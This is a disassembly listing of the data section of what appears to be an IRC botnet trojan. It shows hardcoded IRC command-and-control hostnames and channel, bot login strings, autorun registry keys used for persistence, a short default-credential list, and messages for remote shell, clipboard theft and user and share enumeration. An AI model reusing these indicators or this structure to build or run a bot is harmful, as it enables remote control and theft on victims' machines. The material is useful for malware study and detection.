					; DATA XREF: sub_40D719+67o
		dd 2BBBB02h
aSNoServiceSpec	db '  %s: No service specified.',0
dword_42E89C	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40D719+51o
		dd 2BBBB02h
aErrorWithServi	db '  Error with service: ',27h,'%s',27h,'. %s',0
		align 4
dword_42E8D4	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40D719+33o
		dd 2BBBB02h
aSServiceS_	db '  %s service: ',27h,'%s',27h,'.',0
aAnUnknownErr_0	db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_40D835+12Co
		align 4
aTheSystemIsShu	db 'The system is shutting down.',0 ; DATA XREF: sub_40D835:loc_40D94Do
		align 4
aTheServiceHasN	db 'The service has not been started.',0 ; DATA XREF: sub_40D835:loc_40D946o
		align 4
aTheRequested_1	db 'The requested control code cannot be sent to the service because '
					; DATA XREF: sub_40D835:loc_40D93Fo
		db 'the state of the service.',0
		align 4
aTheServiceHa_0	db 'The service has been marked for deletion.',0
					; DATA XREF: sub_40D835:loc_40D938o
		align 10h
aTheServiceCoul	db 'The service could not be logged on. The account does not have the'
					; DATA XREF: sub_40D835:loc_40D931o
		db ' correct access rights.',0
		align 4
aTheSpecified_0	db 'The specified service does not exist.',0
					; DATA XREF: sub_40D835:loc_40D92Ao
		align 4
aTheServiceHasB	db 'The service has been disabled.',0 ; DATA XREF: sub_40D835:loc_40D923o
		align 4
aTheServiceDe_0	db 'The service depends on another service that has failed to start.',0
					; DATA XREF: sub_40D835:loc_40D91Co
		align 4
aTheServiceDepe	db 'The service depends on a service that does not exist or has been '
					; DATA XREF: sub_40D835:loc_40D915o
		db 'marked for deletion.',0
		align 10h
aTheSpecifiedDa	db 'The specified database does not exist.',0
					; DATA XREF: sub_40D835:loc_40D90Eo
		align 4
aAnInstanceOfTh	db 'An instance of the service is already running.',0
					; DATA XREF: sub_40D835:loc_40D8E3o
		align 4
aTheRequested_0	db 'The requested control code is not valid, or it is unacceptable to'
					; DATA XREF: sub_40D835:loc_40D8DCo
		db ' the service.',0
		align 4
aTheProcessForT	db 'The process for the service was started, but it did not call Star'
					; DATA XREF: sub_40D835:loc_40D8D5o
		db 'tServiceCtrlDispatcher.',0
		align 4
aAThreadCouldNo	db 'A thread could not be created for the service.',0
					; DATA XREF: sub_40D835:loc_40D8CEo
		align 4
aTheDatabaseIsL	db 'The database is locked.',0 ; DATA XREF: sub_40D835+8Fo
aTheServiceCann	db 'The service cannot be stopped because other running services are '
					; DATA XREF: sub_40D835:loc_40D8A3o
		db 'dependent on it.',0
		align 10h
aTheServiceBina	db 'The service binary file could not be found.',0
					; DATA XREF: sub_40D835:loc_40D899o
aTheHandleDoesN	db 'The handle does not have the required access right.',0
					; DATA XREF: sub_40D835:loc_40D88Fo
aTheHandleIsInv	db 'The handle is invalid.',0 ; DATA XREF: sub_40D835:loc_40D885o
		align 4
aTheRequestedCo	db 'The requested control code is undefined.',0
					; DATA XREF: sub_40D835:loc_40D87Bo
		align 4
aTheSpecifiedSe	db 'The specified service name is invalid.',0 ; DATA XREF: sub_40D835+3Co
		align 4
aSSS		db '%s: %s (%s)',0      ; DATA XREF: sub_40D9B3+EBo
aStopped	db '    Stopped',0      ; DATA XREF: sub_40D9B3:loc_40DA7Fo
aStarting	db '   Starting',0      ; DATA XREF: sub_40D9B3:loc_40DA78o
aStoping	db '    Stoping',0      ; DATA XREF: sub_40D9B3:loc_40DA71o
aRunning	db '    Running',0      ; DATA XREF: sub_40D9B3:loc_40DA6Ao
aContinuing	db ' Continuing',0      ; DATA XREF: sub_40D9B3:loc_40DA63o
aPausing	db '    Pausing',0      ; DATA XREF: sub_40D9B3:loc_40DA5Co
aPaused_0	db '     Paused',0      ; DATA XREF: sub_40D9B3:loc_40DA55o
aUnknown_0	db '    Unknown',0      ; DATA XREF: sub_40D9B3+9Bo
aTheFollowingWi	db 'The following Windows services are registered:',0
					; DATA XREF: sub_40D9B3+25o
		align 4
dword_42EE38	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40DAF0+ACo
		dd 2BBBB02h
aSNoShareSpecif	db '  %s: No share specified.',0
		align 4
dword_42EE6C	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40DAF0+8Ao
		dd 2BBBB02h
aSShareS_	db '  %s share: ',27h,'%s',27h,'.',0
		align 4
dword_42EE98	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40DAF0+58o
		dd 2BBBB02h
aSErrorWithShar	db '  %s: Error with share: ',27h,'%s',27h,'. %s',0
		align 4
a14s24s6u4s	db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_40DCE6+D0o
		align 4
aNo		db 'No',0               ; DATA XREF: sub_40DCE6+BCo
		align 10h
aYes		db 'Yes',0              ; DATA XREF: sub_40DCE6+B5o
dword_42EEF4	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40DCE6+76o
		dd 2BBBB02h
aShareListError	db '  Share list error: %s <%ld>',0
		align 4
aShareNameResou	db 'Share name:    Resource:                Uses:  Desc:',0
					; DATA XREF: sub_40DCE6+26o
		align 4
dword_42EF64	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40DE07+B7o
		dd 2BBBB02h
aSNoUsernameSpe	db '  %s: No username specified.',0
		align 4
dword_42EF9C	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40DE07+95o
		dd 2BBBB02h
aSErrorWithUser	db '  %s: Error with username: ',27h,'%s',27h,'. %s',0
dword_42EFD8	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40DE07+6Do
		dd 2BBBB02h
aSUsernameS_	db '  %s username: ',27h,'%s',27h,'.',0
		align 4
dword_42F008	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40DF4E+3AFo
		dd 2BBBB02h
aUserInfoErrorL	db '  User info error: <%ld>',0
		align 4
aUnitsPerWeekD	db 'Units Per Week: %d',0 ; DATA XREF: sub_40DF4E+385o
		align 10h
aMax_StorageD	db 'Max. Storage: %d',0 ; DATA XREF: sub_40DF4E+35Ao
		align 4
aUserSLanguageD	db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_40DF4E+32Fo
aCountryCodeD	db 'Country Code: %d',0 ; DATA XREF: sub_40DF4E+304o
		align 4
aWorkstationsS	db 'Workstations: %S',0 ; DATA XREF: sub_40DF4E+2D9o
		align 10h
aLogonServerS	db 'Logon Server: %S',0 ; DATA XREF: sub_40DF4E+2AEo
		align 4
aLastLogoffD	db 'Last Logoff: %d',0  ; DATA XREF: sub_40DF4E+283o
aLastLogonD	db 'Last Logon: %d',0   ; DATA XREF: sub_40DF4E+258o
		align 4
aNumberOfLogins	db 'Number of Logins: %d',0 ; DATA XREF: sub_40DF4E+22Do
		align 4
aBadPasswordCou	db 'Bad Password Count: %d',0 ; DATA XREF: sub_40DF4E+202o
		align 4
aPasswordAgeD	db 'Password Age: %d',0 ; DATA XREF: sub_40DF4E+1D7o
		align 4
aParametersS	db 'Parameters: %S',0   ; DATA XREF: sub_40DF4E+1ACo
		align 4
aHomeDirectoryS	db 'Home Directory: %S',0 ; DATA XREF: sub_40DF4E+181o
		align 4
aAuthFlagsD	db 'Auth Flags: %d',0   ; DATA XREF: sub_40DF4E+156o
		align 4
aPrivilegeLevel	db 'Privilege Level: %s',0 ; DATA XREF: sub_40DF4E+12Bo
aGuest		db 'Guest',0            ; DATA XREF: sub_40DF4E:loc_40E06Do
		align 4
aUser_0		db 'User',0             ; DATA XREF: sub_40DF4E:loc_40E066o
		align 10h
aAdministrator	db 'Administrator',0    ; DATA XREF: sub_40DF4E:loc_40E05Fo
					; ___:0042F778o
		align 10h
aCommentS	db 'Comment: %S',0      ; DATA XREF: sub_40DF4E+DAo
aUserCommentS	db 'User Comment: %S',0 ; DATA XREF: sub_40DF4E+AFo
		align 10h
aFullNameS	db 'Full Name: %S',0    ; DATA XREF: sub_40DF4E+84o
		align 10h
aAccountS	db 'Account: %S',0      ; DATA XREF: sub_40DF4E+50o
aTotalUsersFoun	db 'Total users found: %d.',0 ; DATA XREF: sub_40E337+14Fo
		align 4
dword_42F1D4	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40E337+F7o
		dd 2BBBB02h
aAnAccessViolat	db '  An access violation has occured.',0
		align 10h
aS_4		db '  %S',0             ; DATA XREF: sub_40E337+BEo
		align 4
dword_42F218	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40E337+7Ao
		dd 2BBBB02h
aUserListErrorS	db '  User list error: %s <%ld>',0
aUsernameAccoun	db 'Username accounts for local system:',0 ; DATA XREF: sub_40E337+29o
aNetworkConnect	db 'Network connection not found.',0 ; DATA XREF: sub_40E4B7:loc_40E5D4o
		align 10h
aTheUserNameCou	db 'The user name could not be found.',0 ; DATA XREF: sub_40E4B7:loc_40E5CDo
		align 4
aShareNotFound_	db 'Share not found.',0 ; DATA XREF: sub_40E4B7:loc_40E5C6o
		align 4
aTheComputerNam	db 'The computer name is invalid.',0 ; DATA XREF: sub_40E4B7:loc_40E5BFo
		align 4
aAnUnknownError	db 'An unknown error occurred.',0 ; DATA XREF: sub_40E4B7:loc_40E5B8o
		align 4
aThePasswordIsS	db 'The password is shorter than required (or does not meet the passw'
					; DATA XREF: sub_40E4B7:loc_40E59Bo
		db 'ord policy requirement.)',0
		align 10h
aTheGroupAlread	db 'The group already exists.',0 ; DATA XREF: sub_40E4B7:loc_40E594o
		align 4
aTheUserAccount	db 'The user account already exists.',0 ; DATA XREF: sub_40E4B7:loc_40E58Do
		align 10h
aTheOperationIs	db 'The operation is allowed only on the primary domain controller of'
					; DATA XREF: sub_40E4B7+CFo
		db ' the domain.',0
		align 10h
aAGeneralFailur	db 'A general failure occurred in the network hardware.',0
					; DATA XREF: sub_40E4B7:loc_40E562o
aLevelParameter	db 'Level parameter is invalid.',0 ; DATA XREF: sub_40E4B7:loc_40E55Bo
aDeviceOrDirect	db 'Device or directory does not exist.',0
					; DATA XREF: sub_40E4B7:loc_40E554o
aInvalidForRedi	db 'Invalid for redirected resource.',0 ; DATA XREF: sub_40E4B7:loc_40E54Ao
		align 4
aDuplicateShare	db 'Duplicate share name.',0 ; DATA XREF: sub_40E4B7+89o
		align 10h
aTheNameIsInval	db 'The name is invalid.',0 ; DATA XREF: sub_40E4B7:loc_40E524o
		align 4
aAccessDenied_	db 'Access denied.',0   ; DATA XREF: sub_40E4B7:loc_40E51Ao
		align 4
aNotEnoughMemor	db 'Not enough memory.',0 ; DATA XREF: sub_40E4B7:loc_40E510o
		align 4
aThisNetworkReq	db 'This network request is not supported.',0
					; DATA XREF: sub_40E4B7:loc_40E506o
		align 4
aServerNameNotF	db 'Server name not found.',0 ; DATA XREF: sub_40E4B7:loc_40E4FCo
		align 4
aInvalidParamet	db 'Invalid parameter.',0 ; DATA XREF: sub_40E4B7+3Bo
		align 10h
dword_42F530	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40E5EB+ABo
		dd 2BBBB02h
aSServerSMessag	db '  %s <Server: %S> <Message: %S>',0
dword_42F568	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40E5EB+81o
		dd 2BBBB02h
aMessageSentSuc	db '  Message sent successfully.',0
		align 10h
dword_42F5A0	dd 1B58h		; DATA XREF: ___:0040EA4Cr
					; ___:0040EAFFr
dword_42F5A4	dd 0C8Bh		; DATA XREF: ___:0040EB4Br
dword_42F5A8	dd 30EAh		; DATA XREF: sub_40EE72:loc_414C0Ar
dword_42F5AC	dd 18F4h		; DATA XREF: sub_407252+3Br
					; sub_40EE72+52E6r
dword_42F5B0	dd 1BB0h		; DATA XREF: sub_407252:loc_407501r
					; sub_40EE72:loc_41424Dr
dword_42F5B4	dd 0A84h		; DATA XREF: sub_40EE72:loc_4143C3r
dword_42F5B8	dd 1			; DATA XREF: sub_40EE72+665r
dword_42F5BC	dd 1			; DATA XREF: ___:0040E7E6r
dword_42F5C0	dd 1			; DATA XREF: sub_40AC42+Cr
					; ___:loc_40E9D8r
byte_42F5C4	db 2Eh			; DATA XREF: sub_40CFE3:loc_40CFEFr
					; sub_40EE72+B05r ...
		align 4
dword_42F5C8	dd 6			; DATA XREF: sub_415996+2Br
					; sub_415996+51r ...
dword_42F5CC	dd 4			; DATA XREF: sub_40EB92+78r
					; sub_40EE72+279r ...
a8652		db '8652',0
		align 4
aCool_0		db 'cool',0
		align 10h
aMan		db 'man',0
		align 8
aDcom135_1	db 'dcom135',0
		db 2 dup(0)
byte_42F5F2	db 1			; DATA XREF: sub_40EE72:loc_413D44r
					; sub_40EE72+4EDCo
aAsn445		db 'asn445',0
		align 4
		dd 100h, 3 dup(0)
aBotid		db 'botid',0            ; DATA XREF: ___:0040E703o
					; sub_40EE72+3E40o ...
		align 4
aAbosal7Tool	db 'ABOSAL7 tool',0     ; DATA XREF: sub_40EE72:loc_414E22o
		align 4
aCool		db 'cool',0             ; DATA XREF: sub_40EE72+6129o
					; sub_40EE72+61F8o
		align 4
aSaber2_ircqfor	db 'saber2.ircqforum.com',0 ; DATA XREF: ___:0040EA37o
					; ___:0040EAF0o
		align 4
aFaak		db '#faak#',0           ; DATA XREF: ___:0040EA58o
					; ___:0040EB06o
		align 4
aSaad_		db 'saad.',0            ; DATA XREF: ___:0040EA6Fo
					; ___:0040EB18o
		align 4
byte_42F654	db 73h			; DATA XREF: ___:loc_40EB2Er
					; ___:0040EB3Co
aCorti1_dns2go_	db 'corti1.dns2go.com',0
		align 4
aFaak_0		db '#faak#',0           ; DATA XREF: ___:0040EB52o
		align 10h
aSaad__0	db 'saad.',0            ; DATA XREF: ___:0040EB64o
		align 4
byte_42F678	db 66h			; DATA XREF: sub_402B84+Fo
					; sub_4030E8+81o ...
		db 69h,	72h, 73h
		dd 69777374h, 78652E6Eh, 65h
dword_42F688	dd 65627663h, 6C642E69h, 6Ch ; DATA XREF: sub_4022C6+3Do
aSystam13	db 'Systam13',0         ; DATA XREF: sub_40C1AE+Eo
		align 10h
aBot		db '[bot]-',0           ; DATA XREF: sub_415996+12o
		align 4
aFirstswin_exe	db 'firstswin.exe',0
		align 4
aXi		db '+xi',0              ; DATA XREF: sub_40EE72+6274o
aF		db '#f',0               ; DATA XREF: sub_40EE72:loc_4120EFo
					; sub_40EE72+50A2o ...
		align 10h
aF_0		db '#f',0               ; DATA XREF: sub_40EE72+1F2Fo
		align 4
aF_1		db '#f',0               ; DATA XREF: sub_40EE72+1D75o
		align 4
off_42F6C8	dd offset a@admin_com	; DATA XREF: sub_40EE72:loc_414FEEo
					; "*@admin.com"
off_42F6CC	dd offset aH4ckerTool	; DATA XREF: sub_40EE72+8CFr
					; sub_40EE72+6198o
					; "h4cker tool"
aSoftwareMicr_0	db 'Software\Microsoft\Windows\CurrentVersion\Run',0
		align 10h
		db 53h
aOftwareMicro_0	db 'oftware\Microsoft\Windows\CurrentVersion\RunServices',0
		align 4
aSoftwareMicros	db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_415F88+28o
					; sub_4162AC+28o
		align 10h
aSystemCurrentc	db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: sub_415F88+D4o
					; sub_4162AC+D4o
		align 4
		dd offset aAdministrator ; "Administrator"
		dd offset aDb2		; "db2"
		dd 0
		dd offset byte_436EDC
		dd offset byte_436EDC
		dd offset aAdministrato_0 ; "ADMINISTRATOR"
		dd offset byte_436EDC
		align 8
dword_42F798	dd 10h			; DATA XREF: sub_40BE75+72w
					; sub_40EE72+B6Er ...
aAdministrato_0	db 'ADMINISTRATOR',0    ; DATA XREF: ___:0042F78Co
		align 4
aDb2		db 'db2',0              ; DATA XREF: ___:0042F77Co
aH4ckerTool	db 'h4cker tool',0      ; DATA XREF: ___:off_42F6CCo
a@admin_com	db '*@admin.com',0      ; DATA XREF: ___:off_42F6C8o
dword_42F7C8	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: ___:0040E9FBo
		dd 2BBBB02h, 6F422020h,	74732074h, 65747261h, 2E64h
dword_42F7F0	dd 25207325h, 25222064h, 2273h ; DATA XREF: ___:0040E929o
dword_42F7FC	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EB92+F2o
		dd 2BBBB02h
aConnectedToS_	db '  Connected to %s.',0
		align 4
aNickSUserS00S	db 'NICK %s',0Dh,0Ah    ; DATA XREF: sub_40ECFA+62o
		db 'USER %s 0 0 :%s',0Dh,0Ah,0
		align 4
aPassS		db 'PASS %s',0Dh,0Ah,0  ; DATA XREF: sub_40ECFA+35o
		align 10h
aModeSS		db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: sub_40EE72+627Co
		align 10h
aUserhostS	db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: sub_40EE72+6264o
		align 10h
dword_42F870	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+6257o
		dd 2BBBB02h
aUserSLoggedIn_	db '  User: %s logged in.',0
		align 10h
dword_42F8A0	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+623Ao
		dd 2BBBB02h
aAbosal7Accepte	db '  ABOSAL7 accepted.',0
dword_42F8CC	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+61D9o
		dd 2BBBB02h
aFailedHostAuth	db '  *Failed host auth by: (%s!%s).',0
		align 4
dword_42F908	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+6172o
		dd 2BBBB02h
aFailedPassAuth	db '  *Failed pass auth by: (%s!%s).',0
		align 4
aNoticeSYouVeBe	db 'NOTICE %s :You',27h,'ve been logged.',0Dh,0Ah,0
					; DATA XREF: sub_40EE72+6160o
					; sub_40EE72+61C7o
		align 4
aNoticeSNiceTry	db 'NOTICE %s :Nice try, idiot. (%s!%s).',0Dh,0Ah,0
					; DATA XREF: sub_40EE72+6149o
					; sub_40EE72+61B0o
		align 10h
asc_42F990:				; DATA XREF: sub_40EE72+6119o
		unicode	0, <~>,0
dword_42F994	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+60C9o
		dd 2BBBB02h
aRandomNickChan	db '  Random nick change: %s',0
		align 4
dword_42F9C8	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+6015o
		dd 2BBBB02h
aInvalidLoginSl	db '  Invalid login slot number: %d.',0
		align 4
dword_42FA04	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+600Ao
		dd 2BBBB02h
aNoUserLoggedIn	db '  No user logged in at slot: %d.',0
		align 10h
dword_42FA40	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+5FB5o
		dd 2BBBB02h, 73252020h,	0
unk_42FA60	db    2			; DATA XREF: sub_40EE72+5F8Bo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToStar_6	db ' Failed to start secure thread, error: <%d>.',0
		align 4
dword_42FAAC	dd 7A026E02h, 201F6D1Fh, 63657328h, 2E657275h, 1F6C1F70h
					; DATA XREF: sub_40EE72+5F15o
		dd 2202967h, 2002BBBBh,	20732520h, 74737973h, 2E6D65h
aUnsecuring	db 'Unsecuring',0       ; DATA XREF: sub_40EE72+5F0Fo
		align 10h
aSecuring	db 'Securing',0         ; DATA XREF: sub_40EE72+5F08o
		align 4
aSec		db 'sec',0              ; DATA XREF: sub_40EE72+5EADo
aSecure		db 'secure',0           ; DATA XREF: sub_40EE72+5E9Co
		align 4
unk_42FAF8	db    2			; DATA XREF: sub_40EE72+5E91o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Fh, 63h
		db  6Bh	; k
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToStar_7	db 'Failed to start server thread, error: <%d>.',0
dword_42FB40	dd 69026602h, 6966646Eh, 1F651F6Ch, 2E2Eh ; DATA XREF: sub_40EE72+5D6Fo
dword_42FB50	dd 646E6946h, 6C696620h, 65h ; DATA XREF: sub_40EE72+5D6Ao
dword_42FB5C	dd 72027002h, 1F631F6Fh, 2E2Eh ; DATA XREF: sub_40EE72+5D57o
dword_42FB68	dd 636F7250h, 20737365h, 7473696Ch, 0 ;	DATA XREF: sub_40EE72+5D52o
dword_42FB78	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+5D1Fo
		dd 2BBBB02h, 65522020h,	6E6E6F63h, 69746365h, 2E676Eh
aQuitReconnecti	db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_40EE72:loc_414B84o
		align 4
dword_42FBB8	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+5CFDo
		dd 2BBBB02h, 69442020h,	6E6F6373h, 7463656Eh, 2E676E69h
		dd 0
aQuitDisconnect	db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: sub_40EE72:loc_414B62o
		align 4
aQuitS		db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: sub_40EE72+5CC8o
		align 4
dword_42FC08	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+5C76o
		dd 2BBBB02h
aStatusReady_Bo	db '  Status: Ready. Bot Uptime: %s.',0
		align 4
dword_42FC44	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+5C62o
		dd 2BBBB02h, 6F422020h,	44492074h, 7325203Ah, 2Eh
dword_42FC6C	dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh
					; DATA XREF: sub_40EE72+5C3Do
		dd 2029671Fh, 2BBBB02h
aFailedToStartL	db '  Failed to start list thread, error: <%d>.',0
dword_42FCB4	dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh
					; DATA XREF: sub_40EE72+5BD2o
		dd 2029671Fh, 2BBBB02h,	694C2020h, 74207473h, 61657268h
		dd 2E7364h
dword_42FCE0	dd 627573h		; DATA XREF: sub_40EE72+5BACo
dword_42FCE4	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+5B5Do
		dd 2BBBB02h, 6C412020h,	20736169h, 7473696Ch, 2Eh
dword_42FD0C	dd 7A026E02h, 201F6D1Fh, 676F6C28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+5B42o
		dd 2BBBB02h
aFailedToStar_8	db '  Failed to start listing thread, error: <%d>.',0
		align 4
dword_42FD54	dd 7A026E02h, 201F6D1Fh, 676F6C28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+5AD3o
		dd 2BBBB02h, 694C2020h,	6E697473h, 6F6C2067h, 2E67h
dword_42FD7C	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+5A36o
		dd 2BBBB02h, 654E2020h,	726F7774h, 6E49206Bh, 2E6F66h
dword_42FDA4	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+5A04o
		dd 2BBBB02h, 79532020h,	6D657473h, 666E4920h, 2E6Fh
dword_42FDCC	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+59AFo
		dd 2BBBB02h, 65522020h,	69766F6Dh, 4220676Eh, 2E746Fh
unk_42FDF4	db    2			; DATA XREF: sub_40EE72+599Co
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	72h, 6Fh
		db  63h	; c
		db 65h,	2 dup(73h)
		db  65h	; e
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToStar_9	db 'Failed to start listing thread, error: <%d>.',0
		align 4
dword_42FE44	dd 7A026E02h, 201F6D1Fh, 6F727028h, 73736563h, 702E7365h
					; DATA XREF: sub_40EE72+592Do
		dd 671F6C1Fh, 0BB022029h, 202002BBh, 636F7250h,	73736563h
		dd 73696C20h, 2E74h
aFull		db 'full',0             ; DATA XREF: sub_40EE72+590Do
		align 4
unk_42FE7C	db    2			; DATA XREF: sub_40EE72+58B6o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	72h, 6Fh
		db  63h	; c
		db 65h,	2 dup(73h)
		db  65h	; e
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aAlreadyRunning	db 'Already running.',0
		align 10h
unk_42FEB0	db    2			; DATA XREF: sub_40EE72+5893o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 63h,	64h, 6Bh
		db  65h	; e
		db 79h,	73h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aSearchComplete	db ' Search completed.',0
		align 10h
dword_42FEE0	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+584Ao
		dd 2BBBB02h, 70552020h,	656D6974h, 7325203Ah, 2Eh
dword_42FF08	dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72:loc_4145F9o
		dd 2BBBB02h
aRemoteShellRea	db '  Remote shell ready.',0
		align 4
dword_42FF38	dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+5780o
		dd 2BBBB02h
aCouldnTOpenRem	db '  Couldn',27h,'t open remote shell.',0
		align 10h
dword_42FF70	dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+5764o
		dd 2BBBB02h
aRemoteShellAlr	db '  Remote shell already running.',0
dword_42FFA8	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+5746o
		dd 2BBBB02h, 65472020h,	6C432074h, 6F627069h, 2E647261h
		dd 0
aClipboardData	db '-[Clipboard Data]-',0 ; DATA XREF: sub_40EE72+5718o
		align 4
unk_42FFE8	db    2			; DATA XREF: sub_40EE72:loc_41457Ao
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	6Ch, 75h
		db  73h	; s
		db 68h,	64h, 6Eh
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToFlushA	db '  Failed to flush ARP cache.',0
		align 4
dword_430024	dd 7A026E02h, 201F6D1Fh, 756C6628h, 6E646873h, 1F702E73h
					; DATA XREF: sub_40EE72+56EDo
		dd 29671F6Ch, 0BBBB0220h, 41202002h, 63205052h,	65686361h
		dd 756C6620h
dword_430050	dd 64656873h, 2Eh	; DATA XREF: ___:00427B70o
dword_430058	dd 7A026E02h		; DATA XREF: sub_40EE72:loc_41454Fo
unk_43005C	db  1Fh			; DATA XREF: ___:off_427A0Co
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	6Ch, 75h
		db  73h	; s
		db 68h,	64h, 6Eh
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToLoadDn	db '  Failed to load dnsapi.dll.',0
		align 4
unk_430094	db    2			; DATA XREF: sub_40EE72:loc_414548o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	6Ch, 75h
		db  73h	; s
